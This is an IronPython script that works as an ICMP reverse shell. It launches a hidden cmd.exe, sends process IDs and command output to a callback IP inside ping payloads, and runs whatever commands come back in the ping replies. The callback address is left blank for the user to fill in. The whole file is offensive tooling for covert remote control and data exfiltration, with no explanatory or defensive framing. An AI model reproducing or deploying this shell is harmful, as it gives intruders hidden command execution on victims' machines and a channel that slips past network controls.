from System.Diagnostics import Process, DataReceivedEventHandler, DataReceivedEventArgs
from System.Runtime.InteropServices import DllImportAttribute, PreserveSigAttribute, Marshal
from System.Text import Encoding
from System.Net.NetworkInformation import Ping
from System.IO import IOException
from System.Net import IPEndPoint, IPAddress
from System.Threading import AutoResetEvent, Thread
from System import InvalidOperationException

#Set callback IP/Port
IP = ""
pinger = Ping()
pingee = Ping()

def CmdOutputDataHandler(process, outline):
    
    while True:
        try:
            if not outline.Data:
                bytesOut = Encoding.ASCII.GetBytes(" \r\n")
                pinger.Send(IP, 10, bytesOut)
            else:
                bytesOut = Encoding.ASCII.GetBytes(outline.Data + "\r\n")
                pinger.Send(IP, 10, bytesOut)
            break
        except:
            pass

#Setup/start process    
p = Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.CreateNoWindow = True
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.StartInfo.RedirectStandardInput = True
p.StartInfo.RedirectStandardError = True
p.OutputDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.ErrorDataReceived += DataReceivedEventHandler(CmdOutputDataHandler)
p.Start()
pids = Encoding.ASCII.GetBytes("SPID: %s\nCPID: %s\n" % (Process.GetCurrentProcess().Id, p.Id))
pinger.Send(IP, 10, pids)
p.StandardInput.WriteLine(" ")

p.BeginOutputReadLine()
p.BeginErrorReadLine()

#Recieve loop
while (not p.HasExited):
    try:
        # You can change the value of Send function to increase or decrease callbacks to recieve commands
        reply = pingee.Send(IP, 50000, Encoding.ASCII.GetBytes("OK"))
        inp = Encoding.ASCII.GetString(reply.Buffer)
        if inp:
            print inp
            p.StandardInput.WriteLine(inp)
    except IOException:
        break
    except WindowsError:
        p.Close()
        break
    except InvalidOperationException:
        pass
